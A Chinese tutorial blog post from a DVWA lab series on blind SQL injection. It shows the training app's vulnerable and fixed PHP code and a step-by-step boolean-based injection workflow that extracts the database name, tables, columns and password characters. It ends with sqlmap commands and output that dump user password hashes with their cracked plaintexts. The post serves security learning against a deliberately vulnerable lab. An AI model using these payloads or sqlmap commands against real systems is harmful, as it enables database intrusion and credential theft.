DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)
上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击。和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就连是否注入成功也要自己判断的,因此叫盲注。更值得留意的是盲注的思路

(盲注就让我想起了。。。许昕,中国乒乓球国手+人民艺术家。然而他400°近视,日常带眼镜,打球反而不带,球感远超常人, 人称大蟒、世界第一盲打)
要盲注的页面往往是这样的

没有很具体的错误提示,只会提示用户存在还是不存在
所以有时候攻击会不知道注入成功与否,所以攻击者有时会通过一些延时操作去判断注入是否成功,比如 如果数据库用的是 MySQL,会用 BENCHMARK 或者 SLEEP 函数。 这篇也和上一章一样的,先介绍漏洞的注入点再介绍一些注入的思路
低级
界面就是上面那图,代码也和上一篇章的几乎是一样的,输出只会是用户存在还是不存在。
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
它这里也没有做什么处理的。随便注入都行的。
- boolean 型,输入
1' or '1' = '1 - 注释型,
1' or 1=1 # - union 型,比如输入
' UNION ALL SELECT NULL, database()#
但这样的不知道有什么作用。若想知道如何利用这样的注入点,你可以直接拉到最后看注入的流程
中级
中级就是变成下拉选择了,所以要用 burp suite,或者火狐浏览器去改。比如用火狐浏览器。

而代码中有 mysql_real_escape_string 对特殊字符等进行转义,所以就用不了 ' 或 " 之类的符号,不过它这里的代码 $id 是数字,也需要用 ' 符号。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
}
下面展示用火狐的审查元素注入吧。这里明显可以用1 or 1=1注入的,将 form 表单改成这样即可。

高级

高级主要是和上面的主要区别是通过迷之cookies 传参,还有个LIMIT 1 限制了条数,再有一个就是查询失败的时候会随机 sleep。
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
和上一篇文章一样,用注释就能解决LIMIT 1的问题了。所以这样就可以了。

不可能
不可能级别和上一篇类似
- anti-token 机制防 CSRF 攻击
- 检查 id 是不是数字
- 使用 prepare 预编译再绑定变量a
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
注入的流程
一般注入的流程可能会是这样,概括起来可能就是刘欢的《千万次地问》,这里用低级代码尝试。
数据库的名字
这种页面要知晓数据库的名字也是挺麻烦,要不断地去尝试。
猜数据库名的长度
1' and length(database()) = 2 #
1' and length(database()) = 3 #
1' and length(database()) = 4 #
...
用二分法猜数据库的名字
其中 a是97,z是122
第一个字母在 a 到 m 之间吗?
输入 1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 109 #
在
第一个字母在 a 到 g 之间吗?
1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 103 #
在
第一个字母在 a 到 d 之间吗?
。。。
第一个字母是d吗?
1' and ascii(substr(database(),1,1))=100 #
是的
第二个字母在 a 到 m 之间吗?
1' and ascii(substr(database(),2,1))>=97 and ascii(substr(database(),1,1)) <= 109 #
不对 ...
一堆这样的操作你就知道数据库的名字是 dvwa 了。。。
所有表的名字
表的数量
数据库有一个表吗?
1' and (select count(table\_name) from information\_schema.tables where table_schema=database())=1 #
不对
数据库有两个表吗?
1' and (select count (table\_name) from information\_schema.tables where table_schema=database())=2
对的,差点就三个(代)表了
第n个表的名长度
第1个表的名长度是1吗?
1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=1 #
第1个表的名长度是2吗?
1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=2 #
... 结果第一个表的长度是 9 。
第n个表的名字
再用二分法去找,要考虑有 _ 之类的特殊符号。。。
第一个表的第一个字母在 a~m 之间吗?
1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>=97 and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<=109 #
。。。 最后可以得出 两个表的名字叫 guestbook,users。
表字段名
针对 users表来说
表字段的数量
users 表有1个字段吗?
1' and (select count(column\_name) from information\_schema.columns where table_name= 'users')=1 #
...
结果有 8个字段
第n个字段的长度
users 表第1个字段的长度是 1 吗?
1' and length(substr((select column\_name from information\_schema.columns where table_name= 'users' limit 0,1),1))=1 #
... 第一个字段的长度是 7
第n个字段的名字
第一个字段名字是 user_id 吗?
1' and substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1)='user\_id'
猜中了。。
第二个字段的第一个字母在 a~m 之间吗?
1' and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) >= 97 and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) <=109 #
...
结果是 a
猜数据
用户 admin 存在吗?
1' and (select count(*) from users where user = 'admin') = 1 #
admin 密码的第一位在 a~m 之间吗?
1' and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) >= 97 and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) <= 109 #
...
SQLMap
千万次地问,弄得人很烦的。还是用工具方便好,感谢自动化,感谢程序员。与上一篇文章类似。
获取所有的数据库
sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
而我们比较感兴趣的是,dvwa 数据库。接下来想后去它的所有的表
获取 dvwa 所有的表
sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
获取users表的所有字段
这里比较慢可以用多线程加速 sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
获取用户及密码信息
比如是 user 和 password sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10 而且还问你是否要用密码字典爆破,简直优秀,结果如下。
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| admin | e10adc3949ba59abbe56e057f20f883e (123456) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+
DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)的更多相关文章
- DVWA 黑客攻防演练(一) 介绍及安装
原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...
- DVWA 黑客攻防演练(八)SQL 注入 SQL Injection
web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段.如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使 ...
- DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery
这么多攻击中,CSRF 攻击,全称是 Cross Site Request Forgery,翻译过来是跨站请求伪造可谓是最防不胜防之一.比如删除一篇文章,添加一笔钱之类,如果开发者是没有考虑到会被 C ...
- DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting
上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...
- DVWA 黑客攻防演练(二)暴力破解 Brute Froce
暴力破解,简称"爆破".不要以为没人会对一些小站爆破.实现上我以前用 wordpress 搭建一个博客开始就有人对我的站点进行爆破.这是装了 WordfenceWAF 插件后的统计 ...
- DVWA 黑客攻防演练(十三)JS 攻击 JavaScript Attacks
新版本的 DVWA 有新东西,其中一个就是这个 JavaScript 模块了. 玩法也挺特别的,如果你能提交 success 这个词,成功是算你赢了.也看得我有点懵逼. 初级 如果你改成 " ...
- DVWA 黑客攻防演练(六)不安全的验证码 Insecure CAPTCHA
之前在 CSRF 攻击 的那篇文章的最后,我觉得可以用验证码提高攻击的难度. 若有验证码的话,就比较难被攻击者利用 XSS 漏洞进行的 CSRF 攻击了,因为要识别验证码起码要调用api,跨域会被浏览 ...
- DVWA 黑客攻防演练(五)文件上传漏洞 File Upload
说起文件上传漏洞 ,可谓是印象深刻.有次公司的网站突然访问不到了,同事去服务器看了一下.所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映 ...
- DVWA 黑客攻防演练(四)文件包含 File Inclusion
文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...
随机推荐
- [SQL]LeetCode177. 第N高的薪水 | Nth Highest Salary
Write a SQL query to get the nth highest salary from the Employee table. +----+--------+ | Id | Sala ...
- [Swift]LeetCode372. 超级次方 | Super Pow
Your task is to calculate ab mod 1337 where a is a positive integer and bis an extremely large posit ...
- linux中一些简便的命令之sort
1.sort file 直接按照顺序排列 2.sort -r file 按照反序排列 3.sort -t [符号]file 指定符号的分隔符,默认为空格 sort -t ';' file 4.sort ...
- scala读取解析json文件
import scala.util.parsing.json.JSON._ import scala.io.Source object ScalaJsonParse { def main(args: ...
- 网络协议 4 - 交换机与 VLAN:办公室太复杂,我要回学校
上一次,我们通过宿舍联网打魔兽的需求,认识了如何通过物理层和链路层组建一个宿舍局域网.今天,让我们切换到稍微复杂点的场景,办公室. 在这个场景里,就不像在宿舍那样,搞几根网线,拉一拉, ...
- mockjs,json-server一起搭建前端通用的数据模拟框架
无论是在工作,还是在业余时间做前端开发的时候,难免出现后端团队还没完成接口的开发,而前端团队却需要实现对应的功能,不要问为什么,这是肯定存在的.本篇文章就是基于此原因而产出的.希望对有这方面的需求的同 ...
- 来了,老弟!__二进制部署kubernetes1.11.7集群
Kubernetes容器集群管理 Kubernetes介绍 Kubernetes是Google在2014年6月开源的一个容器集群管理系统,使用Go语言开发,Kubernetes也叫K8S.K8S是Go ...
- AspNetCore Mvc 使用 PartialView
控制器: public IActionResult queryMongoDb(string dbname) { List<MongoDbModel> mdList = new List&l ...
- qt 坐标变换
原文链接:Qt学习之路(28): 坐标变换 同很多坐标系统一样,QPainter的默认坐标的原点(0, 0)位于屏幕的左上角,X轴正方向是水平向右,Y轴正方向是竖直向下.在这个坐标系统中,每个像素 ...
- Ocelot中使用Butterfly实践
Ocelot(https://github.com/TomPallister/Ocelot)是一个用.net core实现的API网关,Butterfly(https://github.com/But ...